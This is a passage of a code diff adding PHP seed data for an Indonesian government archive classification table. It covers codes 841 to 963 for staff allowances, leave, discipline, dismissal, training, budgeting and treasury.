'enabled' => 1, + ], + [ + 'id' => 2107, + 'kode' => '841', + 'nama' => 'Tunjangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2108, + 'kode' => '841.1', + 'nama' => 'Jabatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2109, + 'kode' => '841.2', + 'nama' => 'Kehormatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2110, + 'kode' => '841.3', + 'nama' => 'Kematian/Uang Duka', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2111, + 'kode' => '841.4', + 'nama' => 'Tunjangan Hari Raya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2112, + 'kode' => '841.5', + 'nama' => 'Perjalanan Dinas Tetap/Cuti/Pindah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2113, + 'kode' => '841.6', + 'nama' => 'Keluarga', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2114, + 'kode' => '841.7', + 'nama' => 'Sandang, Pangan, Papan (Bapertarum)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2115, + 'kode' => '842', + 'nama' => 'Dana', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2116, + 'kode' => '842.1', + 'nama' => 'Taspen', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2117, + 'kode' => '842.2', + 'nama' => 'Kesehatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2118, + 'kode' => '842.3', + 'nama' => 'Asuransi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2119, + 'kode' => '843', + 'nama' => 'Perawatan Kesehatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2120, + 'kode' => '843.1', + 'nama' => 'Poliklinik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2121, + 'kode' => '843.2', + 'nama' => 'Perawatan Dokter', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2122, + 'kode' => '843.3', + 'nama' => 'Obat-Obatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2123, + 'kode' => '843.4', + 'nama' => 'Keluarga Berencana', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2124, + 'kode' => '844', + 'nama' => 'Koperasi / Distribusi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2125, + 'kode' => '844.1', + 'nama' => 'Distribusi Pangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2126, + 'kode' => '844.2', + 'nama' => 'Distribusi Sandang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2127, + 'kode' => '844.3', + 'nama' => 'Distribusi Papan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2128, + 'kode' => '845', + 'nama' => 'Perumahan/Tanah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2129, + 'kode' => '845.1', + 'nama' => 'Perumahan Pegawai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2130, + 'kode' => '845.2', + 'nama' => 'Tanah Kapling', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2131, + 'kode' => '845.3', + 'nama' => 'Losmen/Hotel', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2132, + 'kode' => '846', + 'nama' => 'Bantuan Sosial', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2133, + 'kode' => '846.1', + 'nama' => 'Bantuan Kebakaran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2134, + 'kode' => '846.2', + 'nama' => 'Bantuan Kebanjiran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2135, + 'kode' => '847', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2136, + 'kode' => '848', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2137, + 'kode' => '849', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2138, + 'kode' => '850', + 'nama' => 'CUTI ', + 'uraian' => 'Meliputi Cuti Tahunan, Cuti Besar, Cuti Sakit, Cuti Hamil, Cuti Naik Haji, Cuti Diluar Tanggungan Negara Dan Cuti Alasan Lain', + 'enabled' => 1, + ], + [ + 'id' => 2139, + 'kode' => '851', + 'nama' => 'Cuti Tahunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2140, + 'kode' => '852', + 'nama' => 'Cuti Besar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2141, + 'kode' => '853', + 'nama' => 'Cuti Sakit', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2142, + 'kode' => '854', + 'nama' => 'Cuti Hamil', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2143, + 'kode' => '855', + 'nama' => 'Cuti Naik Haji/Umroh', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2144, + 'kode' => '856', + 'nama' => 'Cuti Di Luar Tangungan Neagara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2145, + 'kode' => '857', + 'nama' => 'Cuti Alasan Lain/Alasan Penting', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2146, + 'kode' => '858', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2147, + 'kode' => '859', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2148, + 'kode' => '860', + 'nama' => 'PENILAIAN', + 'uraian' => 'Meliputi: Penghargaan, Hukuman, Konduite, Ujian Dinas,Penilaian Kakayaan Pribadi Dan Rehabilitasi', + 'enabled' => 1, + ], + [ + 'id' => 2149, + 'kode' => '861', + 'nama' => 'Penghargaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2150, + 'kode' => '861.1', + 'nama' => 'Bintang/Satyalencana', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2151, + 'kode' => '861.2', + 'nama' => 'Kenaikan Pangkat Anumerta', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2152, + 'kode' => '861.3', + 'nama' => 'Kenaikan Gaji Istimewa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2153, + 'kode' => '861.4', + 'nama' => 'Hadiah Berupa Uang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2154, + 'kode' => '861.5', + 'nama' => 'Pegawai Teladan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2155, + 'kode' => '862', + 'nama' => 'Hukuman', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2156, + 'kode' => '862.1', + 'nama' => 'Teguran Peringatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2157, + 'kode' => '862.2', + 'nama' => 'Penundaan Kenaikan Gaji', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2158, + 'kode' => '862.3', + 'nama' => 'Penurunan Pangkat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2159, + 'kode' => '862.4', + 'nama' => 'Pemindahan', + 'uraian' => 'Catatan: Pemberhentian Untuk Sementara Waktu Dan Pemberhentian Tidak Dengan Hormat Lihat 887 Dan 888', + 'enabled' => 1, + ], + [ + 'id' => 2160, + 'kode' => '863', + 'nama' => 'Konduite, DP3, Disiplin Pegawai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2161, + 'kode' => '864', + 'nama' => 'Ujian Dinas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2162, + 'kode' => '864.1', + 'nama' => 'Tingkat 1', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2163, + 'kode' => '864.2', + 'nama' => 'Tingkat 2', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2164, + 'kode' => '864.3', + 'nama' => 'Tingkat 3', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2165, + 'kode' => '865', + 'nama' => 'Penilaian Kehidupan Pegawai Negeri', + 'uraian' => 'Meliputi: Petunjuk Pelaksanaan Hidup Sederhana, Penilaian Kekayaan Pribadi ( LP2P )', + 'enabled' => 1, + ], + [ + 'id' => 2166, + 'kode' => '866', + 'nama' => 'Rehabilitasi / Pengaktifan Kembali', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2167, + 'kode' => '867', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2168, + 'kode' => '868', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2169, + 'kode' => '869', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2170, + 'kode' => '870', + 'nama' => 'TATA USAHA KEPEGAWAIAN', + 'uraian' => 'Meliputi: Formasi, Bezetting, Registrasi,Daftar, Riwayat Hidup, Hak, Penggajian, Sumpah,/Janji Dan Korps Pegawai', + 'enabled' => 1, + ], + [ + 'id' => 2171, + 'kode' => '871', + 'nama' => 'Formasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2172, + 'kode' => '872', + 'nama' => 'Bezetting/Daftar Urut Kepegawaian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2173, + 'kode' => '873', + 'nama' => 'Registrasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2174, + 'kode' => '873.1', + 'nama' => 'NIP', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2175, + 'kode' => '873.2', + 'nama' => 'KARPEG', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2176, + 'kode' => '873.3', + 'nama' => 'Legitiminasi/Tanda Pengenal', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2177, + 'kode' => '873.4', + 'nama' => 'Daftar Keluarga, Perkawinan, Perceraian, Karis, Karsu', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2178, + 'kode' => '874', + 'nama' => 'Daftar Riwayat Pekerjaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2179, + 'kode' => '874.1', + 'nama' => 'Tanggal Lahir', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2180, + 'kode' => '874.2', + 'nama' => 'Penggantian Nama', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2181, + 'kode' => '874.3', + 'nama' => 'Izin kepartaian Organisasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2182, + 'kode' => '875', + 'nama' => 'Kewenangan Mutasi Pegawai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2183, + 'kode' => '875.1', + 'nama' => 'Pelimpahan Wewenang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2184, + 'kode' => '875.2', + 'nama' => 'Specimen Tanda Tangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2185, + 'kode' => '876', + 'nama' => 'Penggajian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2186, + 'kode' => '876.1', + 'nama' => 'SKPP', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2187, + 'kode' => '877', + 'nama' => 'Sumpah/Janji', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2188, + 'kode' => '878', + 'nama' => 'Korps Pegawai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2189, + 'kode' => '879', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2190, + 'kode' => '880', + 'nama' => 'PEMBERHENTIAN PEGAWAI', + 'uraian' => 'Meliputi Atas Pemberhentian,Permintaan Sendiri, Dengan Hak Pensiun, Karena Meninggal Dunia, Alasan Lain, Dengan Diberi Uang Pesangon, Uang Tnggu Untuk Sementara Waktu Dan Pemberhentian Tidak Dengan Hormat', + 'enabled' => 1, + ], + [ + 'id' => 2191, + 'kode' => '881', + 'nama' => 'Permintaan Sendiri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2192, + 'kode' => '882', + 'nama' => 'Dengan Hak Pensiun', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2193, + 'kode' => '882.1', + 'nama' => 'Pemberhentian Dengan Hak Pensiun Pegawai Negeri Golongan 1', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2194, + 'kode' => '882.2', + 'nama' => 'Pemberhentian Dengan Hak Pensiun Pegawai Negeri Golongan 2', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2195, + 'kode' => '882.3', + 'nama' => 'Pemberhentian Dengan Hak Pensiun Pegawai Negeri Golongan 3', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2196, + 'kode' => '882.4', + 'nama' => 'Pemberhentian Dengan Hak Pensiun Pegawai Negeri Golongan 4', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2197, + 'kode' => '882.5', + 'nama' => 'Pensiun Janda / Duda', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2198, + 'kode' => '882.6', + 'nama' => 'Pensiun Yatim Piatu', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2199, + 'kode' => '882.7', + 'nama' => 'Uang Muka Pensiun', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2200, + 'kode' => '883', + 'nama' => 'Karena Meninggal', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2201, + 'kode' => '883.1', + 'nama' => 'Karena Meninggal Dalam Tugas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2202, + 'kode' => '884', + 'nama' => 'Alasan Lain', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2203, + 'kode' => '885', + 'nama' => 'Uang Pesangon', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2204, + 'kode' => '886', + 'nama' => 'Uang Tunggu', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2205, + 'kode' => '887', + 'nama' => 'Untuk Sementara Waktu', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2206, + 'kode' => '888', + 'nama' => 'Tidak Dengan Hormat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2207, + 'kode' => '889', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2208, + 'kode' => '890', + 'nama' => 'PENDIDIKAN PEGAWAI', + 'uraian' => 'Meliputi: Perencanaan, Pendidikan Reguler, Pendidikan Non-Reguler, Pendidikan Ke Luar Negeri, Metode, Tenaga Pengajar, Administrasi Pendidikan, Fasilitas Sarana Pendidikan', + 'enabled' => 1, + ], + [ + 'id' => 2209, + 'kode' => '891', + 'nama' => 'Perencanaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2210, + 'kode' => '891.1', + 'nama' => 'Program', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2211, + 'kode' => '891.2', + 'nama' => 'Kurikulum dan Silabi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2212, + 'kode' => '891.3', + 'nama' => 'Proposal ( TOR )', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2213, + 'kode' => '892', + 'nama' => 'Pendidikan _Egular / Kader', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2214, + 'kode' => '892.1', + 'nama' => 'IPDN / APDN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2215, + 'kode' => '892.2', + 'nama' => 'Kursus-Kursus Reguler', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2216, + 'kode' => '893', + 'nama' => 'Pendidikan dan Pelatihan / Non Reguler', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2217, + 'kode' => '893.1', + 'nama' => 'LEMHANAS', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2218, + 'kode' => '893.2', + 'nama' => 'Pendidikan dan Pelatihan Struktural, SPATI, SPAMEN, SPAMA, ADUMLA, ADUM', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2219, + 'kode' => '893.3', + 'nama' => 'Kursus-Kursus / Penataran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2220, + 'kode' => '893.4', + 'nama' => 'Diklat Tehnik, Fungsional Dan Manajemen Pemerintahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2221, + 'kode' => '893.5', + 'nama' => 'Diklat Lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2222, + 'kode' => '894', + 'nama' => 'Pendidikan Luar Negeri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2223, + 'kode' => '894.1', + 'nama' => 'Berkesinambungan / Berkala / Bergelar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2224, + 'kode' => '894.2', + 'nama' => 'Non Gelar / Diploma', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2225, + 'kode' => '895', + 'nama' => 'Metode', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2226, + 'kode' => '895.1', + 'nama' => 'Kuliah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2227, + 'kode' => '895.2', + 'nama' => 'Ceramah, Simposium', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2228, + 'kode' => '895.3', + 'nama' => 'Diskusi, Raker, Seminar, Lokakarya, Orientasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2229, + 'kode' => '895.4', + 'nama' => 'Studi Lapangan, Kkn, Widyawisata', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2230, + 'kode' => '895.5', + 'nama' => 'Tanya Jawab / Sylabi / Modul / Kursil', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2231, + 'kode' => '895.7', + 'nama' => 'Penugasan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2232, + 'kode' => '895.8', + 'nama' => 'Gladi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2233, + 'kode' => '896', + 'nama' => 'Tenaga Pengajar / Widyaiswara/Narasumber', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2234, + 'kode' => '896.1', + 'nama' => 'Moderator', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2235, + 'kode' => '897', + 'nama' => 'Administrasi Pendidikan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2236, + 'kode' => '897.1', + 'nama' => 'Tahun Pelajaran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2237, + 'kode' => '897.2', + 'nama' => 'Persyaratan, Pendaftaran, Testing, Ujian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2238, + 'kode' => '897.3', + 'nama' => 'STTP', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2239, + 'kode' => '897.4', + 'nama' => 'Penilaian Angka Kredit', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2240, + 'kode' => '897.5', + 'nama' => 'Laporan Pendidikan Dan Pelatihan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2241, + 'kode' => '898', + 'nama' => 'Fasilitas Belajar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2242, + 'kode' => '898.1', + 'nama' => 'Tunjangan Belajar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2243, + 'kode' => '898.2', + 'nama' => 'Asrama', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2244, + 'kode' => '898.3', + 'nama' => 'Uang Makan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2245, + 'kode' => '898.4', + 'nama' => 'Uang Transport', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2246, + 'kode' => '898.5', + 'nama' => 'Uang Buku', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2247, + 'kode' => '898.6', + 'nama' => 'Uang Ujian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2248, + 'kode' => '898.7', + 'nama' => 'Uang Semester / Uang Kuliah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2249, + 'kode' => '898.8', + 'nama' => 'Uang Saku', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2250, + 'kode' => '899', + 'nama' => 'Sarana', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2251, + 'kode' => '899.1', + 'nama' => 'Bantuan Sarana Belajar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2252, + 'kode' => '899.2', + 'nama' => 'Bantuan Alat-Alat Tulis', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2253, + 'kode' => '899.3', + 'nama' => 'Bantuan Sarana Belajar Lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2254, + 'kode' => '900', + 'nama' => 'KEUANGAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2255, + 'kode' => '901', + 'nama' => 'Nota Keuangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2256, + 'kode' => '902', + 'nama' => 'APBN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2257, + 'kode' => '903', + 'nama' => 'APBD', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2258, + 'kode' => '904', + 'nama' => 'APBN-P', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2259, + 'kode' => '905', + 'nama' => 'Dana Alokasi Umum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2260, + 'kode' => '906', + 'nama' => 'Dana Alokasi Khusus', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2261, + 'kode' => '907', + 'nama' => 'Dekonsentrasi (Pelimpahan Dana Dari Pusat Ke Daerah)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2262, + 'kode' => '907', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2263, + 'kode' => '908', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2264, + 'kode' => '910', + 'nama' => 'ANGGARAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2265, + 'kode' => '911', + 'nama' => 'Rutin', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2266, + 'kode' => '912', + 'nama' => 'Pembangunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2267, + 'kode' => '913', + 'nama' => 'Anggaran Belanja Tambahan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2268, + 'kode' => '914', + 'nama' => 'Daftar Isian Kegiatan (DIK)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2269, + 'kode' => '914.1', + 'nama' => 'Daftar Usulan Kegiatan (DUK)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2270, + 'kode' => '915', + 'nama' => 'Daftar Isian Poyek (DIP)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2271, + 'kode' => '915.1', + 'nama' => 'Daftar Usulan Proyek (DUP)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2272, + 'kode' => '915.2', + 'nama' => 'Daftar Isian Pengguna Anggaran (DIPA)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2273, + 'kode' => '916', + 'nama' => 'Revisi Anggaran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2274, + 'kode' => '917', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2275, + 'kode' => '918', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2276, + 'kode' => '920', + 'nama' => 'OTORISASI / SKO', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2277, + 'kode' => '921', + 'nama' => 'Rutin', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2278, + 'kode' => '922', + 'nama' => 'Pembangunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2279, + 'kode' => '923', + 'nama' => 'SIAP', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2280, + 'kode' => '924', + 'nama' => 'Ralat SKO', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2281, + 'kode' => '925', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2282, + 'kode' => '926', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2283, + 'kode' => '927', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2284, + 'kode' => '930', + 'nama' => 'VERIFIKASI', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2285, + 'kode' => '931', + 'nama' => 'SPM Rutin (daftar p8)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2286, + 'kode' => '932', + 'nama' => 'SPM Pembangunan (daftar p8)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2287, + 'kode' => '933', + 'nama' => 'Penerimaan (daftar p6. p7)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2288, + 'kode' => '934', + 'nama' => 'SPJ Rutin', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2289, + 'kode' => '935', + 'nama' => 'SPJ Pembangunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2290, + 'kode' => '936', + 'nama' => 'Nota Pemeriksaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2291, + 'kode' => '937', + 'nama' => 'SP Pemindahan Pembukuan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2292, + 'kode' => '938', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2293, + 'kode' => '939', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2294, + 'kode' => '940', + 'nama' => 'PEMBUKUAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2295, + 'kode' => '941', + 'nama' => 'Penyusunan Perhitungan Anggaran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2296, + 'kode' => '942', + 'nama' => 'Permintaan Data Anggaran Laporan Fisik Pembangunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2297, + 'kode' => '943', + 'nama' => 'Laporan Fisik Pembangunan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2298, + 'kode' => '944', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2299, + 'kode' => '945', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2300, + 'kode' => '950', + 'nama' => 'PERBENDAHARAAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2301, + 'kode' => '951', + 'nama' => 'Tuntutan Ganti Rugi (ICW Pasal 74)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2302, + 'kode' => '952', + 'nama' => 'Tuntutan Bendaharawan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2303, + 'kode' => '953', + 'nama' => 'Penghapusan Kekayaan Negara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2304, + 'kode' => '954', + 'nama' => 'Pengangkatan/Penggantian Pemimpin Proyak Dan Pengangkatan/Pemberhentian Bendaharawan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2305, + 'kode' => '955', + 'nama' => 'Spesimen Tanda Tangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2306, + 'kode' => '956', + 'nama' => 'Surat Tagihan Piutang, Ikhtisar Bulanan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2307, + 'kode' => '957', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2308, + 'kode' => '958', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2309, + 'kode' => '959', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2310, + 'kode' => '960', + 'nama' => 'PEMBINAAN KEBENDAHARAAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2311, + 'kode' => '961', + 'nama' => 'Pemeriksaan Kas Dan Hasil Pemeriksaan Kas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2312, + 'kode' => '962', + 'nama' => 'Pemeriksaan Administrasi Bendaharawan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2313, + 'kode' => '963', + 'nama' => 'Laporan Keuangan Bendaharawan', + 'uraian' => 